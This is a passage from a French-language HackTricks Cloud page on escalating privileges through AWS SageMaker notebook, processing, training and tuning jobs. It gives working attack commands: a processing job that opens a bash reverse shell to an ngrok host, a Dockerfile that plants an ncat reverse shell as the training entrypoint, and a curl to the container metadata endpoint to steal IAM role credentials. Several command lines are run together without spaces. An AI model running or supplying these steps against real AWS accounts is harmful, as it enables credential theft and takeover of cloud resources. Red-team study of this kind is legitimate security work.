La réponse devrait contenir un champ NotebookInstanceArn, qui contiendra l'ARN de la nouvelle instance de notebook créée. Nous pouvons ensuite utiliser l'API create-presigned-notebook-instance-url pour générer une URL que nous pouvons utiliser pour accéder à l'instance de notebook une fois qu'elle est prête :
Accédez à l'URL avec le navigateur et cliquez sur Open JupyterLab en haut à droite, puis faites défiler jusqu'à l'onglet “Launcher” et sous la section “Other”, cliquez sur le bouton “Terminal”.
Maintenant, il est possible d'accéder aux informations d'identification des métadonnées du rôle IAM.
Impact potentiel: Élévation des privilèges vers le rôle de service sagemaker spécifié.
sagemaker:CreatePresignedNotebookInstanceUrl
Si des notebooks Jupyter sont déjà en cours d'exécution et que vous pouvez les lister avec sagemaker:ListNotebookInstances (ou les découvrir de toute autre manière), vous pouvez générer une URL pour y accéder, les ouvrir et voler les informations d'identification comme indiqué dans la technique précédente.
Impact potentiel : Élévation des privilèges vers le rôle de service Sagemaker attaché.
sagemaker:CreateProcessingJob,iam:PassRole
Un attaquant avec ces autorisations peut faire exécuter à Sagemaker une tâche de traitement avec un rôle Sagemaker qui lui est attaché. L'attaquant peut indiquer la définition du conteneur qui sera exécuté dans une instance de compte ECS géré par AWS, et voler les informations d'identification du rôle IAM attaché.
# I uploaded a python docker image to the ECRawssagemakercreate-processing-job \--processing-job-name privescjob \--processing-resources '{"ClusterConfig": {"InstanceCount": 1,"InstanceType": "ml.t3.medium","VolumeSizeInGB": 50}}' \--app-specification "{\"ImageUri\":\"<id>.dkr.ecr.eu-west-1.amazonaws.com/python\",\"ContainerEntrypoint\":[\"sh\", \"-c\"],\"ContainerArguments\":[\"/bin/bash -c \\\"bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/14920 0>&1\\\"\"]}" \
--role-arn <sagemaker-arn-role># In my tests it took 10min to receive the shellcurl"http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"#To get the creds
Impact potentiel : Élévation des privilèges vers le rôle de service Sagemaker spécifié.
sagemaker:CreateTrainingJob, iam:PassRole
Un attaquant avec ces autorisations pourra créer un job de formation, exécuter un conteneur arbitraire avec un rôle attaché. Par conséquent, l'attaquant pourra voler les informations d'identification du rôle.
Ce scénario est plus difficile à exploiter que le précédent car vous devez générer une image Docker qui enverra le shell rev ou les informations d'identification directement à l'attaquant (vous ne pouvez pas indiquer une commande de démarrage dans la configuration du job de formation).
# Create docker imagemkdir/tmp/rev## Note that the trainning job is going to call an executable called "train"## That's why I'm putting the rev shell in /bin/train## Set the values of <YOUR-IP-OR-DOMAIN> and <YOUR-PORT>cat>/tmp/rev/Dockerfile<<EOFFROM ubuntuRUN apt update && apt install -y ncat curlRUN printf '#!/bin/bash\nncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/sh' > /bin/trainRUN chmod +x /bin/trainCMD ncat <YOUR-IP-OR-DOMAIN> <YOUR-PORT> -e /bin/shEOFcd/tmp/revsudodockerbuild.-treverseshell# Upload it to ECRsudodockerlogin-uAWS-p$(awsecrget-login-password--region<region>)<id>.dkr.ecr.<region>.amazonaws.com/<repo>sudodockertagreverseshell:latest<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latestsudodockerpush<account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
#To get the creds curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
Creds env var value example:/v2/credentials/proxy-f00b92a68b7de043f800bd0cca4d3f84517a19c52b3dd1a54a37c1eca040af38-customer
**Impact potentiel :** Privesc vers le rôle de service sagemaker spécifié.
## `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Un attaquant avec ces autorisations pourra (potentiellement) créer un **job d'entraînement d'hyperparamètres**, **exécuter un conteneur arbitraire** avec un **rôle attaché**.\
_Je n'ai pas exploité par manque de temps, mais cela semble similaire aux exploits précédents, n'hésitez pas à envoyer un PR avec les détails de l'exploitation._
# Références
* [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>